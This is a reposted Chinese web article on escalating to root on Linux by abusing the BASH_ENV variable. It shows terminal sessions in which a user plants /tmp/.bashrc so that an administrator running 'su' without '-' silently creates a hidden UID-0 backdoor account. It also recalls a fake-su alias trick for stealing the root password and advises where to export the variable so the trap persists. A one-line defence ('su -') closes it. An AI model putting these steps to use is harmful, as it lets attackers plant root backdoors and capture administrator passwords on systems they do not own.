首页 > 系统 > Linux > 正文

Linux的提权方法分享

2024-08-28 00:03:07
字体:
来源:转载
供稿:网友
  今天被朋友问到,linux如何提权,这个其实是需要技巧的,今天就和大家分享一下linux系统是如何提权的。
  其实通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本
  一个test:
  以下是引用片段:
  [xiaoyu@localdomain ~]$ echo $BASH_ENV
  [xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc"
  [xiaoyu@localdomain ~]$ echo $BASH_ENV
  /tmp/.bashrc
  [xiaoyu@localdomain ~]$ cat /tmp/.bashrc
  #!/bin/bash
  echo "Hello"
  [xiaoyu@localdomain ~]$ ls -l
  -rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh
  [xiaoyu@localdomain ~]$ cat test.sh
  #!/bin/bash
  echo "kk"
  [xiaoyu@localdomain ~]$ ./test.sh
  Hello
  kk
  恩,很好,和我们预期的一样。看看我们怎么利用。
  grep su ~/.bash_history
  显示此用户有使用su登录root账户的特殊癖好/Article/UploadFiles/200809/20080912102542241.gif。以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别名之类的东西。通过getpass来获得root密码,记录,然后去除别名.....关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻点的管理员可能就放过这个细节了,再输入一遍密码就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改 root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不
  以下是引用片段:
  [xiaoyu@localdomain ~]$ echo $BASH_ENV
  /tmp/.bashrc
  [xiaoyu@localdomain ~]$ su
  Password:
  [root@localdomain xiaoyu]# echo $BASH_ENV
  /tmp/.bashrc
  还在/Article/UploadFiles/200809/20080912102542241.gif,OK,实验结束,实战:
  以下是引用片段:
  [xiaoyu@localdomain tmp]$ echo ’/usr/sbin/useradd -u 0 -o kk 2> /dev/null’ > /tmp/.bashrc
  [xiaoyu@localdomain tmp]$ cat /tmp/.bashrc
  /usr/sbin/useradd -u 0 -o kk 2> /dev/null
  [xiaoyu@localdomain tmp]$ grep kk /etc/passwd
  [xiaoyu@localdomain tmp]$ echo $BASH_ENV
  /tmp/.bashrc
  [xiaoyu@localdomain tmp]$ su
  Password:
  [root@localdomain tmp]# cd /home/xiaoyu
  [root@localdomain xiaoyu]# ./test.sh
  kk
  [root@localdomain xiaoyu]# grep kk /etc/passwd
  kk:x:0:503::/home/kk:/bin/bash
  [root@localdomain xiaoyu]#
  关于怎么安置,和fakesu一样,在.bash_profile等地方export BASH_ENV变量。
  如果要避免这种情况,使用su -登录root,估计没几个管理员记得这个指令吧。
总结:
  Linux的提权技巧就为大家介绍到这来了,Linux的相关知识也是相当的多,希望能帮助到大家
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表